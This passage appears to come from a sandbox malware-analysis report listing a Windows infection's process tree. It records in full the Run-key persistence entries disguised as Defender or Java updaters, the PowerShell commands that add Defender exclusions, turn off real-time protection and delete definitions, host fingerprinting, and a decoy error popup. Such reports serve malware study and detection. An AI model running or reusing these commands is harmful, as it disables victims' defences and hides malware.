        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        8⤵
        
        PID:8896
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        8⤵
        
        PID:8244
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7303.tmp\7304.tmp\7305.bat C:\Windows\system32\java.exe"
        9⤵
        
        PID:9564
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        10⤵
        
        PID:9708
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
        10⤵
        
        PID:9540
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        10⤵
        
        PID:10064
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7E2F.tmp\7E30.tmp\7E31.bat C:\Windows\system32\java.exe"
        11⤵
        
        PID:9880
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        12⤵
        Delays execution with timeout.exe
        
        PID:9904
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
        12⤵
        
        PID:9904
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
        12⤵
        
        PID:4228
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        12⤵
        
        PID:9556
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        12⤵
        
        PID:1720
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8B10.tmp\8B11.tmp\8B12.bat C:\Windows\system32\java.exe"
        13⤵
        
        PID:4304
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        14⤵
        Delays execution with timeout.exe
        
        PID:4732
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
        14⤵
        
        PID:7900
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        14⤵
        
        PID:3028
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        14⤵
        
        PID:8016
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        15⤵
        
        PID:3320
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        14⤵
        
        PID:8724
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        14⤵
        
        PID:7276
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\98AC.tmp\98AD.tmp\98AE.bat C:\Windows\system32\java.exe"
        15⤵
        
        PID:7472
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
        16⤵
        
        PID:8128
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        16⤵
        
        PID:6352
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        17⤵
        
        PID:9284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        18⤵
        
        PID:10812
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        19⤵
        Enumerates processes with tasklist
        
        PID:10924
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        18⤵
        
        PID:9532
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        19⤵
        
        PID:10852
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        16⤵
        
        PID:9384
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        16⤵
        
        PID:10476
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        16⤵
        Delays execution with timeout.exe
        
        PID:7428
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        14⤵
        Delays execution with timeout.exe
        
        PID:1520
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        12⤵
        
        PID:840
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        10⤵
        Delays execution with timeout.exe
        
        PID:7644
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        8⤵
        Delays execution with timeout.exe
        
        PID:3084
      - C:\Windows\system32\timeout.exe
        
        timeout 5
        6⤵
        
        PID:8940
  - - C:\Windows\system32\timeout.exe
      timeout 5
      4⤵
      Delays execution with timeout.exe
      PID:7692
- C:\Windows\system32\timeout.exe
  timeout 5
  2⤵
  - Delays execution with timeout.exe
  PID:7084

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:8400

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:8212

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:8796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:6284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:5760

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:8216

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:8204

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:4620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:7844

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:6564

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:6576

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:8636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:5284

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:7484

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:7852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:8324

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:6920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:7980

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:7668

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:8208

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:9016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:8452

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:9388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:9352

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:9400

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:9464

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:9784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
  2⤵
  PID:10068
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:9716

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:8968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:8988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:8584

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:9060

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:4888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2444

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:4792

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:9444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
  2⤵
  PID:7692
- - C:\Windows\system32\mshta.exe
    mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
    3⤵
    PID:692

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:8744

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:5352

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:10072

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:8468

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:7868

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:9612

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:7080

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:9616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:8216

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:8332

C:\Windows\system32\icacls.exe
"icacls" C:\ProgramData\XKongJian\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T
1⤵
- Modifies file permissions
PID:10900

C:\Users\Admin\AppData\Local\XKongJian\XKongJian.exe
"C:\Users\Admin\AppData\Local\XKongJian\XKongJian.exe" --check-hwcodec-config
1⤵
PID:11184

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:4400

C:\Windows\system32\timeout.exe
timeout 1
1⤵
PID:9024

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:10708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
  2⤵
  PID:1308
- - C:\Windows\system32\tasklist.exe
    tasklist /FO LIST
    3⤵
    - Enumerates processes with tasklist
    PID:9392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
  2⤵
  PID:6248
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:9368

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6616

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:9504

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:2276
- C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
  2⤵
  PID:7528

C:\Windows\system32\java.exe
"C:\Windows\system32\java.exe"
1⤵
PID:6948
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C20E.tmp\C20F.tmp\C210.bat C:\Windows\system32\java.exe"
  2⤵
  PID:10728
- - C:\Windows\system32\timeout.exe
    timeout 1
    3⤵
    PID:4028
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
    3⤵
    PID:8252
- - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
    "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
    3⤵
    PID:8320
  - - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
      "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
      4⤵
      PID:8228
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'"
        5⤵
        
        PID:9504
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10892
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        5⤵
        
        PID:4732
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        6⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        
        PID:9108
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
        5⤵
        
        PID:10684
      - C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
        6⤵
        
        PID:9748
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:8224
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:1356
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:9884
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:10668
- - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
    "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
    3⤵
    PID:6728
- - C:\Windows\system32\java.exe
    "C:\Windows\system32\java.exe"
    3⤵
    PID:9000
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CA6A.tmp\CA6B.tmp\CA6C.bat C:\Windows\system32\java.exe"
      4⤵
      PID:2400
    - - C:\Windows\system32\timeout.exe
        
        timeout 1
        5⤵
        Delays execution with timeout.exe
        
        PID:7984
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
        5⤵
        
        PID:10292
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
        5⤵
        
        PID:2268
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        5⤵
        
        PID:6820
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        5⤵
        
        PID:7868
    - - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        5⤵
        
        PID:10276
      - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        6⤵
        
        PID:3472
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'"
        7⤵
        
        PID:6632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        7⤵
        
        PID:9948
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        8⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        
        PID:7224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
        7⤵
        
        PID:7464
        
        C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
        8⤵
        
        PID:3132
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        7⤵
        
        PID:9412
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        8⤵
        Enumerates processes with tasklist
        
        PID:6712
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        7⤵
        
        PID:8624
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        8⤵
        
        PID:7280
    - - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        5⤵
        
        PID:6912
    - - C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        5⤵
        
        PID:8692
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\EA18.tmp\EA19.tmp\EA1A.bat C:\Windows\system32\java.exe"
        6⤵
        
        PID:9664
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        7⤵
        Delays execution with timeout.exe
        
        PID:4592
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
        7⤵
        
        PID:4184
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
        7⤵
        
        PID:8844
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        7⤵
        
        PID:9108
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        7⤵
        
        PID:9404
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        7⤵
        
        PID:9708
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        8⤵
        
        PID:11144
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        7⤵
        
        PID:9868
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        7⤵
        
        PID:10756
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FA44.tmp\FA45.tmp\FA56.bat C:\Windows\system32\java.exe"
        8⤵
        
        PID:5660
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        9⤵
        
        PID:10944
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
        9⤵
        
        PID:10020
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        9⤵
        
        PID:2280
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        9⤵
        
        PID:8636
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        9⤵
        
        PID:3836
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        10⤵
        
        PID:9860
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        9⤵
        
        PID:4832
        
        C:\Windows\system32\java.exe
        
